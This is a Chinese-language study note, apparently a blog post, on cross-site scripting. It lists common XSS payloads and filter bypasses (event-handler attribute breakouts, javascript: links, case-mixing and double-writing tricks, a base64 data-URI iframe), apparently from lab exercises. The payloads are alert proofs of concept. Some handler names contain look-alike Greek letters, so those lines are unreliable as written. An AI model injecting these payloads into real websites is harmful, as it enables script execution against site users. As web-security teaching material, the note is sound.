xss 相关注入知识

xss 跨站脚本攻击

常用payload:

<script>alert(1)</script> // 调用JavaScript语句
<img src=x οnerrοr=alert(1)> // src是错误的 就会调用error函数
<a href=javascript:alert(1)> // 点击a即可触发
<svg οnlοad=alert(1)> // 使用svg标签
JavaScript伪协议

JavaScript伪协议是一种特殊的URL协议,以"javascript:"开头,后面跟着JavaScript代码。当浏览器解析包含JavaScript伪协议的URL时,会立即执行其中的JavaScript代码。这种协议通常用于在HTML中直接嵌入JavaScript代码。

xss之htmlspecialchars

:函数htmlspecialchars会把尖角符 <>实体编码

img

onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后再配合javascript伪协议来执行javascript代码

' οnfοcus=javascript:alert() '

给input标签做属性,用on事件

' οnfοcus='alert(123)'
' οnclick='alert(123)'
' οnblur='alert(123)'//或者 
'οnblur=Javascript:alert('jaden')

xss之大小写混合/双写绕过

大小写法绕过str_replace()函数 ,替换函数可以替换指定字符

xss常见的触发标签

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

双写

  • 比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on

  • 比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

"> <a hrehreff=javasscriptcript:alert()>x</a> <"
xss之js输出 :

实体编码和编码绕过

可以中文换Unicode编码或者ASCLL编码 ,不过只能指定位置使用编码如href的值

xss之href输出
<a href='javascript:alert(123)'> baidu </a>  //出现一个baidu的文本,点击会出现123的弹框

可以插入标签(如<a>标签的href属性)达到js执行的效果,前提是闭合号<"">没失效

巧妙利用注释

如遇见检查链接是否合理:检查语句中是否有http:

<a href='javascript:alert(123)'> // http;baidu </a> 
标签触发
  • src(source)是一个指向,可以大概理解跟href一样把,只是执行的内容不太一样

  • data一般在<iframe>标签中用来配合date:text/html

试一下src,这里配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号,构造payload

"> <img src='666' οnerrοr=alert()> <"

onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数

img标签用法

①当鼠标移出图片的时候执行的属性onmouseout

"> <img src=666 οnmοuseοut="alert()"> <"

②当鼠标移动到图片的时候执行的属性onmouseover

"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"
iframe标签

绕过data,插入一个标签data:text/html;base64, 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>

做题小结:根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示

  • 21
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值